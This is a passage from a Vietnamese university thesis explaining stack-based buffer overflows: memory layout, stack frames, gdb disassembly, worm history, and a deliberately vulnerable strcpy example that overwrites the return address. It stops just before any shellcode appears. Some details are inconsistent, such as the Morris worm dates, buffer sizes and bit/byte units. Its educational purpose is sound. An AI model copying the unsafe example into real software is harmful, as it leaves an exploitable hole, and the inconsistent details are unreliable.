Dạng tấn công này có thể được sử dụng trong trường hợp kẻ tấn công giả IP thành địa
chỉ cục bộ của mạng LAN, từ đó có thể tấn công vào các máy khác trong mạng LAN
do thường chính sách an ninh giữa các máy trong LAN với nhau sẽ giảm nhẹ.
1.3.2.5. Tấn công nghe trộm
Tấn công nghe trộm là dạng tấn công không được thực hiện trực diện vào các
máy người dùng (client) hay máy chủ (server) mà nó thường nhằm vào phương tiện
truyền dữ liệu giữa các máy. Kẻ tấn công có thể sử dụng thiết bị phần cứng hoặc phần
mềm, lắng nghe trên một thành phần của hệ thống mạng như: Card mạng, Hub, Router
… để chặn bắt các gói tin di chuyển qua. Từ đó sử dụng các kỹ thuật phân tích các gói
tin thu được nhằm lấy cắp thông tin tài khoản, đánh cắp nội dung email hoặc các file
được truyền qua mạng (file đính kèm trong email, hoặc truyền qua các giao thức SMB,
FTP).
1.3.2.6. Tấn công kiểu người đứng giữa (Man in the middle)
Tấn công kiểu người đứng giữa lợi dụng quá trình lưu chuyển gói tin đi qua nhiều
trạm trên nhiều mạng khác nhau. Kẻ tấn công khi đó sẽ chặn bắt các thông điệp trao
đổi giữa hai bên tham gia giao tiếp, sau đó chuyển tiếp lại cho bên kia sau khi thông
điệp có thể đã được xử lý. Nạn nhân của kiểu tấn công người đứng giữa không hay biết
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 16
về việc xen giữa này mà vẫn cứ tin tưởng rằng họ đang giao tiếp trực tiếp với nạn nhân
bên kia.
1.3.2.7. Tấn công bằng bom thư
Tấn công bằng bom thư (Mail bombing) cũng là một dạng tấn công DoS khi kẻ
tấn công chuyển một lưu lượng lớn email đến hòm thư điện tử của nạn nhân. Phương
pháp này thường thực hiện được nhờ khai thác lỗi trong hệ thống gửi nhận mail SMTP
hoặc do các máy chủ mail cấu hình không tốt.
1.3.2.8. Tấn công sử dụng cửa hậu (Back doors hoặc Trap doors):
Kẻ tấn công bằng một cách nào đó cài một cửa hậuvào máy tính của nạn nhân,
thường là hậu quả của hacker để lại sau khi tấn công vào hệ thống. Sau đó sử dụng
chính backdoor để quay lại can thiệp khai thác thêm thông tin và sử dụng cho nhiều
mục đích.
1.3.2.9. Tấn công kiểu Social Engineering
Tấn công kiểu Social Engineering là kiểu tấn công sử dụng các kỹ thuật xã hội
nhằm thuyết phục người dùng cung cấp các thông tin truy nhập hoặc các thông tin có
giá trị đối với kẻ tấn công. Kẻ tấn công có thể một số phương pháp sau:
- Kẻ tấn công giả dạng là người ở chức vụ cao hơn so với nạn nhân để có được sự
tin tưởng để nạn nhân cung cấp thông tin.
- Kẻ tấn công mạo nhận là người được ủy quyền của người có thẩm quyền để yêu
cầu nạn nhân tiếp lộ thông tin.
- Kẻ tấn công lập ra các trang web giả nhằm đánh lừa người dùng cung cấp các
thông tin như tài khoản, thẻ tín dụng, …
1.4. Mô tả bài toán
Đề tài của đồ án "Nghiên cứu về tấn công lỗi tràn bộ đệm trong phần mềm và
phòng chống" được thực hiện với các nội dung chính như sau:
Nghiên cứu về các dạng lỗi tràn bộ đệm và cơ chế xảy ra lỗi tràn bộ đệm;
Nghiên cứu các kỹ thuật tấn công lợi dụng lỗi tràn bộ đệm;
Đề xuất các biện pháp phòng chống giảm thiểu khả năng bị tấn công lợi dụng
lỗi tràn bộ đệm;
Xây dựng một số kịch bản và cài đặt demo tấn công lợi dụng lỗi tràn bộ đệm.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 1: Tổng quan về các lỗ hổng bảo mật và các dạng tấn công HT
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 17
1.5. Kết chương
Chương 1 giới thiệu tổng quan về an toàn bảo mật hệ thống thông tin, các mối đe
dọa, các dạng lỗ hổng an ninh và một số dạng tấn công thông dụng vào hệ thống thông
tin. Đảm bảo an toàn thông tin và hệ thống thông tin là phải đảm bảo được 3 thuộc tính
cốt yếu, gồm tính bí mật, tính toàn vẹn và tính sẵn dùng. Các dạng tấn công độc hại có
thể vi phạm một, một số hoặc tất cả các thuộc tính trên. Nhiều cuộc tấn công có thể
thực hiện thành công nhờ khai thác các lỗ hổng an ninh tồn tại trong hệ thống. Một
trong các dạng lỗ hổng an ninh thường hay xảy ra và bị lợi dụng nhiều nhất là lỗ hổng
tràn bộ nhớ đệm. Chương 2 sẽ phân tích chi tiết cơ chế xảy ra lỗi tràn bộ đệm và các
kỹ thuật tấn công lợi dụng lỗ hổng này.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 18
CHƯƠNG 2: CƠ CHẾ TẤN CÔNG LỖI TRÀN BỘ ĐỆM
VÀ CÁC PHƯƠNG PHÁP PHÒNG CHỐNG
Chương 2 trình bày phương pháp tổ chức và cấp phát bộ nhớ ảo cho chương
trình, cơ chế gây tràn bộ đệm, tấn công lợi dụng lỗ hổng tràn bộ đệm trên Stack và
phương pháp tạo mã thực hiện Shellcode. Phần cuối chương đề cập một số các phương
pháp phòng chống tấn công bộ nhớ đệm hiệu quả nhằm giúp xây dựng nên các hệ
thống an toàn.
2.1. Giới thiệu về mô hình bộ nhớ ảo trong các hệ điều hành
2.1.1. Các khái niệm
2.1.1.1. Buffer
Buffer hay bộ đệm là một khối dành riêng của bộ nhớ máy tính, cho phép chứa
nhiều các phần tử của cùng kiểu dữ liệu. Với ngôn ngữ lập trình C, Buffer thường
được tổ chức dưới dạng là mảng của các từ nhớ.
2.1.1.2. Stack
Stack hay ngăn xếp là một kiểu dữ liệu trừu tượng dùng trong khoa học máy tính.
Một Stack của các đối tượng (Object) có tính chất: Đối tượng được đưa vào Stack cuối
cùng sẽ được lấy ra đầu tiên (LIFO – Last In First Out). Stack hỗ trợ 2 thao tác quan
trọng nhất là PUSH và POP để thực hiện việc thêm một đối tượng vào Stack và loại bỏ
1 đối tượng khỏi Stack.
Trong lập trình cấu trúc, các chương trình được chia ra thành các mô đun nhỏ,
được gọi là các chương trình con, hay thủ tục hoặc hàm. Các chương trình con có thể
được gọi thực hiện bởi chương trình chính, hoặc có thể gọi lẫn nhau. Mỗi chương trình
con được gọi thực hiện sẽ làm thay đổi luồng điều khiển của chương trình, tương tự
như lệnh nhảy (JUMP). Nhưng không giống như JUMP, khi kết thúc việc thực hiện
một chương trình con, nó sẽ trả điều khiển về cho chương trình gọi. Stack được sử
dụng để lưu các tham số cho việc gọi thực hiện và trở về từ các chương trình con [2].
Stack cũng được dùng để tự động gán địa chỉ cho: các biến địa phương (Local
variables), các tham số truyền vào (Parameters) và các kết quả trả về của chương trình
con.
2.1.1.3. Thanh ghi
Thanh ghi là các ô nhớ có dung lượng nhỏ nằm trong nhân CPU có tốc độ truy
cập cao, được sử dụng để tăng tốc độ xử lý các lệnh của chương trình trên máy tính
bằng cách cung cấp các truy cập trực tiếp đến các giá trị cần sử dụng. Hầu hết các máy
tính hiện đại hoạt động theo nguyên lý là chuyển dữ liệu từ bộ nhớ sang các thanh ghi,
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 19
sau đó việc tính toán sẽ được thực hiện trên các thanh ghi này rồi kết quả được chuyển
lại về bộ nhớ [19].
Một số thanh ghi được sử dụng trong đồ án:
- EIP (Extended Instruction Pointer): Thanh ghi con trỏ lệnh, dùng để chứa địa
chỉ của lệnh tiếp theo cần thực hiện.
- ESP (Extended Stack Pointer): Thanh ghi con trỏ Stack, dùng để chứa địa chỉ
của đỉnh ngăn xếp (Stack).
- EBP (Extended Base Pointer): Thanh ghi con trỏ cơ sở Stack, dùng để chứa địa
chỉ đến một Stack Frame trong Stack.
2.1.2. Phương thức tổ chức bộ nhớ trong máy tính
Bộ nhớ ảo là một phương thức tổ chức quản lý hệ thống nhớ, trong đó bộ nhớ
được hệ điều hành tổ chức thành các vùng nhớ với các chức năng riêng biệt tạo thuận
lợi cho việc tổ chức lưu trữ và xử lý. Thông thường, bộ nhớ ảo tổ chức thành ba vùng:
Text region, Data region và Stack region. Tương ứng với mỗi vùng khi các tiến trình
được thực thi, các dữ liệu liên quan đến một tiến trình sẽ được tải vào các vùng tương
ứng. Sơ đồ tổng quan cấu trúc tổ chức bộ nhớ ảo trong máy tính được thể hiện như
Hình 1.
Hình 1: Tổ chức bộ nhớ ảo [16].
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 20
Trong phần tiếp theo, đồ án chủ yếu tập trung vào Stack region nhằm phục vụ
cho mục đích tiếp theo đó là nghiên cứu lỗ hổng tràn bộ đệm trên Stack.
2.1.2.1. Text region (Code segment)
Vùng dữ liệu này được cố định bởi chương trình, chứa các mã lệnh (Instruction)
và dữ liệu chỉ đọc (Read-only Data) của chương trình. Text region phản hồi tới Text
region của file thực thi (Executable file).
Text region thường được tạo là chỉ đọc (Read-only) hoặc sẽ hoạt động ở chế độ
tự bảo vệ thay đổi (Self-modifying mode). Mọi nỗ lực nhằm thay đổi nội dung dữ liệu
trong vùng này đều được coi là vi phạm [10].
2.1.2.2. Data region (Data segment)
Data region = Data + BSS + Heap [11].
- Data: chứa các biến toàn cục (Global Variable) và các biến tĩnh đã được khởi
tạo (Static Variable) được khai báo bởi người lập trình.
- BSS: chứa các biến chưa được khởi tạo hoặc khởi tạo không rõ ràng, phản hồi
tới khu vực Data-BSS của file thực thi được (Executable file). Dữ liệu trong Data
region có thể đọc/ghi (Read-write).
- Heap: Địa chỉ bắt đầu ngay sau kết thúc của BSS và có thể phát triển kích
thước tăng dần trong quá trình thực thi. Việc cấp phát và thu dọn bộ nhớ trong Heap
được thực hiện qua các lời gọi malloc(), realloc()vàfree(). Lời gọi hệ thống
brk() và sbrk() được dùng để điều chỉnh kích cỡ (resize) của Heap. Vùng Heap
được chia sẻ bởi tất cả các thư viện chia sẻ và các module nạp động trong tiến trình.
Kích thước của Data region không cố định mà có thể thay đổi được bởi lời gọi hệ
thống BRK/SBRK (thay đổi kích cỡ của Heap), được xác định bằng các giá trị đặt
trong nó trước khi chương trình được biên dịch. Trong thời gian chạy (run-time), kích
cỡ của vùng này không thay đổi.
Nếu kích cỡ của Data-BBS lớn hoặc do ngăn xếp (Stack) sử dụng hết bộ nhớ sẵn
có, chương trình hoặc tiến trình sẽ bị khoá và được lập lịch lại để chạy với dung lượng
bộ nhớ lớn hơn. Phần bộ nhớ cần lấy thêm sẽ được lấy ở vùng nhớ nằm giữa Data
region và Stack region [11].
Kích thước của Data region tăng theo chiều tăng của địa chỉ bộ nhớ ảo.
2.1.2.3. Stack region
Stack có một thanh ghi (ESP) gọi là con trỏ Stack (Stack pointer) luôn trỏ tới
đỉnh của Stack. Đáy của Stack là một địa chỉ cố định. Kích cỡ của Stack được điều
chỉnh động bởi nhân của hệ điều hành (Kernel) trong thời gian thực thi (Run-time).
CPU thực hiện các lệnh PUSH và POP với Stack.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 21
Stack gồm các khung, gọi là Stack Frame. Các Stack Frame được thêm vào khi
gọi một hàm (function) và được loại bỏ ra khỏi Stack khi trở về từ hàm. Một Stack
Frame gồm: các tham số của hàm, các biến địa phương của hàm đó, và các dữ liệu cần
thiết để khôi phục khung Stack trước để quay về hàm gọi (Previous Stack Frame) – Dữ
liệu này gồm: Giá trị của con trỏ lệnh vào thời điểm hàm được gọi (SavedEIP) và địa
chỉ đầu tiên của Stack Frame (Frame Pointer) của hàm trước đó (SavedEBP).
Tuỳ thuộc vào bộ vi xử lý (VXL) mà Stack sẽ đánh địa chỉ tăng hoặc giảm. Cách
đánh địa chỉ giảm dần được nhiều VXL sử dụng, như trong các VXL Intel, Motorola,
SPARC và MIPS. Đối với Stack Pointer do luôn trỏ vào đỉnh của Stack với địa chỉ
thấp nhất, nên để tiện lợi hơn cho việc truy xuất tới các biến, các đối số của hàm sẽ có
một con trỏ khung FP (Frame Pointer) sẽ luôn trỏ tới một địa chỉ cố định trong một
khung (Thường là địa chỉ bắt đầu của Stack Frame) – một số nơi gọi là LP (Local base
Pointer) [2].
Stack Pointer có thể trỏ vào địa chỉ cuối của Stack hoặc trỏ vào địa chỉ còn trống
kế tiếp của Stack phụ thuộc vào thiết kế của VXL. Giá trị của biến SP được lưu trong
thanh ghi ESP.
Theo nguyên tắc, biến địa phương có thể được tham chiếu bằng việc tính hiệu số
(offsets) từ SP. Tuy nhiên, với những từ nhớ được đưa vào hoặc lấy ra khỏi Stack,
những offsets này bị thay đổi. Mặc dù trong một số trường hợp trình biên dịch có thể
theo dõi thứ tự của những từ trong Stack và sửa những offsets, tuy nhiên một số trường
hợp thì lại không như vậy.
Trong một số VXL, như VXL Intel, việc truy cập vào một biến bằng việc biết
khoảng cách từ SP yêu cầu nhiều lệnh (Multiple Instructions). Do đó, nhiều trình biên
dịch sử dụng một thanh ghi phụ là Frame Pointer, để tham chiếu cả các biến địa
phương và các đối số, bởi vì khoảng cách của chúng tới Frame Pointer không thay đổi
với các lệnh PUSH và POP. Trong các VXL Intel, thanh ghi EBP được dùng cho mục
đích này, còn trong các VXL của Motorola thì bất kỳ thanh ghi địa chỉ nào ngoài A7
(Stack Pointer) sẽ làm việc này. Bởi theo cách mà Stack tăng kích cỡ, thực tế các đối
số (Parameters) có độ lệch dương với FP, và các biến địa phương sẽ có độ lệch âm so
với FP [2].
Đơn vị lưu trữ cơ bản trên Stack là word, có giá trị bằng 32 bit (4 byte) trên các
VXL Intel x86. Mọi giá trị biến được cấp phát trên Stack đều bằng bội số của word.
Thao tác trên Stack được thực hiện bởi 2 lệnh máy:
- push value: Đưa giá trị value vào đỉnh của Stack. Giảm giá trị của %esp đi 1
word và đặt giá trị value vào đó.
- pop dest: Lấy giá trị từ đỉnh của Stack đưa vào dest. Đặt giá trị trỏ bởi %esp
vào dest và tăng giá trị của %esp lên 1 word.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 22
2.1.3. Quy trình cấp phát bộ nhớ
- Việc đầu tiên một thủ tục phải làm khi được gọi, đó là lưu Frame Pointer trước
(Để có thể khôi phục lại Stack Frame của thủ tục mẹ khi thủ tục này kết thúc). Sau đó
nó copy Stack Pointer vào Frame Pointer để tạo một Frame Pointer mới, và tăng Stack
Pointer để tạo khoảng trống lưu trữ các biến địa phương - mã lệnh này gọi là thủ tục
PROLOG.
- Sau khi thủ tục kết thúc, Stack phải được dọn dẹp lại, thủ tục này gọi là
EPILOG.
- PROLOG và EPILOG trong VXL Intel là lệnh ENTER và LEAVE, còn với
Motorola là LINK và UNLINK, được cung cấp để làm hầu hết công việc của thủ tục
PROLOG và EPILOG hiệu quả [2]. Quy trình cấp phát bộ nhớ ảo cho chương trình
đựơc thể hiện thông qua trong Ví dụ 1.
Ví dụ 1: chương trình exampleCode1.c [2]
Language c code
void function(int a, int b){
char buffer1[5];
char buffer2[10];
}
void main() {
function(5, 10);
}
Assembly code
(gdb) disas function
push %ebp
mov %esp,%ebp
sub $0x10,%esp
leave
ret
(gdb) disas main
push %ebp
mov %esp,%ebp
sub $0x8,%esp
movl $0xa,0x4(%esp)
movl $0x5,(%esp)
call 0x80483b4 <function>
leave
ret
Hoạt động của bộ nhớ trong quá trình thực thi chương trình ở Ví dụ 1 như sau:
Bước 1: Khi hệ thống chuyển quyền điều khiển cho chương trình, nó sẽ lưu lại
địa chỉ trả về (SavedEIP) như sau:
push %ebp
mov %esp,%ebp
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 23
Bước 2: Khi gọi hàm function(int a, int b) với 2 đối số thì các bước chuẩn
bị để gọi hàm như sau:
- Đẩy các đối số của hàm vào Stack:
sub $0x8,%esp
movl $0xa,0x4(%esp)
movl $0x5,(%esp)
- Gọi hàm: Câu lệnh tiếp theo của hàm được gọi được đẩy vào Stack và hệ thống
trao quyền điều khiển cho hàm
call 0x80483b4 <function>
Bước 3: Quá trình thực thi hàm function():
- Đầu tiên giá trị trong thanh ghi EBP (lúc này thanh ghi EBP đang lưu địa chỉ
EBP của hàm main() ) được đưa vào Stack, lúc này ESP trỏ đến địa chỉ của EBP cũ.
Sau đó chương trình cấp phát vùng nhớ cho các biến cục bộ của hàm (buffer1 là 8bit
và buffer2 là 12bit) bằng cách giảm địa chỉ của ESP:
push %ebp
mov %esp,%ebp
sub $0x10,%esp
Bước 4: Kết thúc hàm:
Sau khi hàm được thực thi, việc thoát khỏi một hàm được thực hiện trong hai
bước. Trước tiên môi trường tạo ra cho hàm thực thi cần được dọn dẹp (khôi phục giá
trị cho %ebp và %eip). Sau đó kiểm tra Stack để lấy các thông tin liên quan đến hàm
vừa thoát ra.
leave
ret
Khi kết thúc EBP đang trỏ đến ô nhớ chứa giá trị EBP cũ. ESP sẽ được gán bằng
EBP. Như vậy ESP đang trỏ đến ô nhớ chứa giá trị EBP cũ.
Tiếp theo, lệnh POP sẽ lấy giá trị của EBP cũ vào EBP, ESP trỏ đến ô nhớ chứa
địa chỉ trở về.
Lệnh RET sẽ lấy địa chỉ lệnh trở về (SavedEIP) vào thanh ghi EIP và quyền điều
khiển chương trình được chuyển giao cho hàm main(), ESP trỏ đến ô nhớ chứa tham
số đầu tiên của hàm function(). Do đó, trong Stack Frame của hàm function(int
a,int b) sẽ gồm các dữ liệu: Các đối số truyền cho hàm, địa chỉ lệnh trở về để thực
thi sau khi kết thúc hàm (RET/SavedEIP), địa chỉ con trỏ nền Base Pointer của hàm trở
về (SavedEBP) và các tham số khai báo bên trong hàm. Các dữ liệu này được tổ chức
như trong Hình 2.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 24
b($10) [4 byte] FP (EBP register)
a($5) [4 byte]
ret(main)(SavedEIP) [4 byte]
sfp(main)(SavedEBP) [4 byte]
buffer1 [5 byte]
buffer2 [10 byte]
SP (ESP register)
Void function(int a, int b){
char buffer1[5];
char buffer2[10];
}
void main() {
function(5, 10);
}
IP (EIP register)
Hình 2: Dữ liệu trong Stack Frame của hàm function(int a, int b)
2.2. Lỗi tràn bộ đệm và các kỹ thuật tấn công
2.2.1. Lịch sử các kỹ thuật tấn công khai thác lỗi tràn bộ đệm
Lỗi tràn bộ đệm lần đầu tiên được quan tâm đặc biệt vào ngày 02/11/1988, khi
Robert Tappan Morris – đang học tại đại học Cornell viết thí nghiệm một chương trình
có thể tự động “tiêm” bản thân vào Internet. Chương trình của Robert (Morris Worm)
đã tự lây lan tới khoảng 6.000 máy tính chạy HĐH Unix qua mạng Internet [3][9]. Về
bản chất chương trình của Robert đã lợi dụng lỗi tràn bộ đệm trong Deamon Fingerd
của Unix (Giao thức mạng cho việc trao đổi trạng thái và thông tin người dùng trong
HĐH Unix, được viết bởi David Zimmerman nhằm phục vụ nhu cầu lấy thông tin của
người sử dụng khác trong mạng). Sau đó, hàng loạt lỗ hổng tràn bộ đệm nghiêm trọng
trong các thành phần của HĐH được phát hiện như: Syslog, Sendmail 8.7.5,
Linux/FreeBSD mount, Xt Library, …. [18].
Sự kiện thứ hai đánh dấu sự phổ biến kiến thức về lỗi tràn bộ đệm là sự xuất hiện
của bài viết “Smashing stack for fun and profit” của Aleph One (Bí danh) vào năm
1996 trong tạp chí Prack. Cho đến bây giờ bài viết này vẫn là một trong những bài viết
kinh điển và cơ bản cho các loại khai thác lỗi tràn bộ đệm.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 25
Từ lần đầu bị khai thác cho đến nay lỗ hổng tràn bộ đệm luôn chiếm tỷ lệ lớn
nhất trong các loại lỗi gây lỗ hổng bảo mật cũng như chiếm tỷ lệ lớn các lỗi gây lỗ
hổng bảo mật nghiệm trọng [18].
Những lỗ hổng tràn bộ đệm nghiêm trọng về cả tính chất bảo mật cũng như hậu
quả để lại tiếp theo có thể kể đến:
- Sâu Morris (Great worms): Được mệnh danh “Sâu/virus tồi tệ nhất lịch sử
Internet” vì kiểu tàn phá nhằm vào máy chủ. Xuất hiện ngày 02/11/1998, khai thác lỗi
tràn bộ đệm trong deamon fingerd của HĐH Unix lây lan và làm hơn 6.000 máy chủ
trên khắp nước Mỹ gần như quá tải. Thiệt hại ước tính khoảng 100 triệu USD [14].
- Sâu Code-Red: xuất hiện tháng 07/2001 khai thác lỗi tràn bộ đệm trong dịch vụ
đánh chỉ số (Indexing service) của Microsoft IIS Server. Từ đó gây lỗi từ chối dịch vụ
cho các máy chủ IIS 4.0/5.0 đã cài đặt Indexing service, các Router DSL Cisco
Unpatched 600-series, và cả những hệ thống không chạy IIS mà chạy HTTP server
lắng nghe TCP cổng 80. Từ lúc xuất hiện đến lúc dừng hoạt động 28 ngày (1/07/2001
– 28/07/2001) sâu Code-Red ước tính đã lây lan khoảng 359.000 host (Bao gồm cả
máy tính và router) [8].
- Sâu Nimda: Xuất hiện khoảng 18/09/2001 khai thác lỗ hổng trong email, một
vài kẽ hở khác của hệ điều hành, lỗ hổng của IIS Server 4.0/5.0 khác và cửa hậu(back-
doors) do Code-Red để lại, gây thiệt hại cho các máy tính Client sử dụng windows 95,
98, ME, NT, 2000, XP và Server chạy windows NT và 2000. Trong tuần đầu tiên xuất
hiện, tổn thất ước tính của sâu Nimda đã đạt con số khoảng 530 triệu USD [9].
- Sâu W32/Blaster: Xuất hiện tháng 08/2003, lợi dụng lỗ hổng tràn bộ đệm trong
Microsoft Remote Procedure Call (RPC) interface trên máy tính trong mạng nội bộ
hoặc kết nối trực tiếp ra Internetchạy các HĐH windows NT 4.0, 2000, XP, server
2003. Trong vòng 1 tuần, sâu Blaster nhiễm ở hơn 420.000 máy tính trên thế giới, thiệt
hại ước tính 320 triệu USD [7].
Ngoài ra, còn một số sâu máy tính nổi tiếng sau đó như: SQL Slammer worm
(xuất hiện năm 2004 dựa vào lỗi tràn bộ đệm trên MS SQL server), Sasser worm (xuất
hiện năm 2004 lợi dụng lỗi tràn bộ đệm trong LSASS của HĐH windows), Configker
worm (xuất hiện năm 2009 dựa vào lỗi tràn bộ đệm RPC trên HĐH windows).
2.2.2. Tổng quan về tấn công dựa trên lỗi tràn bộ đệm
2.2.2.1. Tràn bộ đệm:
Mỗi tiến trình được thực thi trên hệ điều hành sẽ được cấp phát một vùng nhớ ảo,
chứa toàn bộ các thông tin cần thiết để tiến trình có thể thực thi ổn định và an toàn. Bộ
đệm được cấp phát cho chương trình có thể được đặt ở:
- Bộ đệm trên Stack
- Bộ đệm trên Heap
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 26
- Bộ đệm trên vùng dữ liệu tĩnh (Static Data Area).
Vì bản chất tổ chức của vùng nhớ ảo này, nếu bộ đệm cố định dành cho tham số
của một hàm chức năng trong chương trình bị ghi dữ liệu vượt qua ngoài biên (tràn),
thì phần dữ liệu bị tràn sẽ có thể ghi đè lên các vùng nhớ chức năng liền kề quan trọng
khác, làm cho hoạt động của chương trình bị ảnh hưởng hoặc kết thúc không như
mong muốn.
2.2.2.2. Tấn công dựa trên tràn bộ đệm:
Tấn công dựa trên lỗi tràn bộ đệm sẽ lợi dụng cơ chế tràn bộ đệm khi mà phần
mềm hoặc hệ điều hành không có cơ chế bảo vệ bộ đệm, để phá hoại chương trình
hoặc kích hoạt các dữ liệu được thiết kế đặc biệt (các mã lệnh, địa chỉ lệnh, … ), từ đó
làm ngắt sự hoạt động bình thường của chương trình, hoặc điều khiển chương trình
thực thi các đoạn mã của kẻ tấn công. Trong nhiều trường hợp chương trình hoặc mã
độc của kẻ tấn công còn có thể thực thi dưới đặc quyền ROOT (ADMIN) dẫn đến các
hậu quả nghiêm trọng nhất cho hệ thống. Vì vậy các lỗi tràn bộ đệm tạo lỗ hổng cho
các thủ thuật khai thác phần mềm, gây ra các nguy cơ bảo mật phần mềm.
Thông thường, kẻ tấn công sẽ có hai cách để khai thác lỗi tràn bộ đệm:
- Khai thác lỗ hổng của phần mềm thông qua các dữ liệu đầu vào của phần mềm.
Dữ liệu đầu vào này có thể là một chuỗi, một tập tin, hoặc một số gói tin mạng, ….
- Khai thác các trang web có tương tác người dùng tại các trường nhập liệu, dữ
liệu upload, ….
Bộ nhớ đệm có ba phần có thể bị rơi vào tình trạng Overflow đó là bộ nhớ đệm
trên Heap, bộ nhớ đệm trên Stack và bộ đệm trên vùng dữ liệu tĩnh (Static Data Area),
và đây cũng là các mục tiêu khai thác lỗi tràn bộ đệm.Sau đây sẽ giới thiệu và đi sâu
phân tích việc khai thác lỗ hổng tràn bộ đệm trên Stack.
2.2.3. Cơ chế tràn bộ đệm trên Stack
Vùng bộ nhớ ảo Stack chứa các đối số của hàm, địa chỉ lệnh trả về, địa chỉ stack
frame trước đó và các biến được khai báo cục bộ trong hàm.
Việc tràn bộ đệm xảy ra khi bộ đệm đặt trên Stack bị tràn, dẫn đến việc thay đổi
dữ liệu ở các vùng nhớ có địa chỉ cao hơn, cụ thể là các biến địa phương của hàm hoặc
địa chỉ lệnh trả về (SavedEIP), từ đó thay đổi việc thực thi bình thường của chương
trình và tạo điều kiện cho kẻ tấn công “thao túng” phần mềm hoặc HĐH. Trong đó
việc tràn bộ đệm để thay đổi địa chỉ lệnh trả về nhằm thay đổi luồng thực thi của
chương trình thường gây ra hậu quả lớn do có khả năng can thiệp và thực thi mã độc
đa dạng và linh hoạt. Cơ chế tràn bộ đệm được thể hiện trong Ví dụ 2.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 27
Ví dụ 2: Chương trình exampleCode2.c [2].
Language c code
void function(char *str) {
char buffer[12];
strcpy(buffer,str);
}
void main() {
char large_string[20];
int i;
for( i = 0; i < 24; i++)
large_string[i]= 'A';
function(large_string);
}
Sau khi thực thi hàm strcpy(buffer, str), dữ liệu trong Stack frame của hàm
function(char *str) sẽ có dạng như biểu diễn trên Hình 3.
0x41414141 [4 Byte] EBP (function)
0x41414141 [4 Byte]
0x41414141 [4 Byte] RET (main)
0x41414141 [4 Byte] FP (EBP main)
0x41414141 [4Byte] buffer[8 - 11]
0x41414141 [4Byte] buffer[4 - 7]
0x41414141 [4Byte] buffer[ 0 - 3]
SP (ESP register)
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[24];
int i;
for( i = 0; i < 24; i++)
large_string[i]= 'A';
function(large_string);
}
IP (EIP register)
Hình 3: Dữ liệu trong StackFrame của hàmFunction(char *str)
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 28
Như ta đã thấy, dữ liệu RET trở về hàm main() và EBP của hàm main() đã bị
ghi đè bởi giá trị 0x41414141(“AAAA”). Do đó chương trình sẽ bị kết thúc đột ngột bởi
một lỗi Segmentation fault (core dumped) thông báo rằng địa chỉ lệnh đang cố
gắng truy cập 0x41414141 là không được phép. Ở các HĐH họ Linux thông báo sẽ có
dạng như trên Hình 4.
Hình 4: Tràn bộ nhớ đệm trên Stack ghi đè SavedEIP
Tuy nhiên, nếu giả sử như địa chỉ lệnh thực thi tiếp theo mà bị ghi đè không phải
0x41414141 mà là một địa chỉ lệnh hợp lệ, vậy hệ điều hành sẽ không hề biết mà sẽ
vẫn tiếp tục thực thi chương trình với địa chỉ lệnh tiếp theo trong SavedEIP. Các địa
chỉ mà SavedEIP có thể trỏ đến được mô tả trên Hình 5.
Hình 5: Ghi đè địa chỉ trả về và trỏ đến các vùng dữ liệu khác [16]
Sau đây sẽ trình bày phương thức tấn công lợi dụng lỗi tràn bộ đệm trên Stack,
trong đó con trỏ lệnh bị ghi đè địa chỉ trả về sẽ trỏ ngược lại địa chỉ bộ đệm đã bị chèn
mã tấn công lưu trong Stack. Các mã tấn công khai thác lỗ hổng tràn bộ đệm được viết
dưới dạng Shellcode.
ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Chương 2: Cơ chế tấn công lỗi tràn bộ đệm và các PP phòng chống
SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 29
2.3. Shellcode
Shellcode là một đoạn mã khai thác lỗ hổng bảo mật, nhằm cung cấp một giao
diện (interface) giúp kẻ tấn công có thể giao tiếp trực tiếp với nhân của hệ điều hành.
Do vậy nếu kẻ tấn công có thể cài được Shellcode và thực thi chúng trên máy bị tấn
công thì có thể chiếm được quyền điều khiển của hệ thống.
Shellcode có thể được thể hiện dưới dạng Alphanumeric hoặc dưới dạng hexa.
Ví dụ:
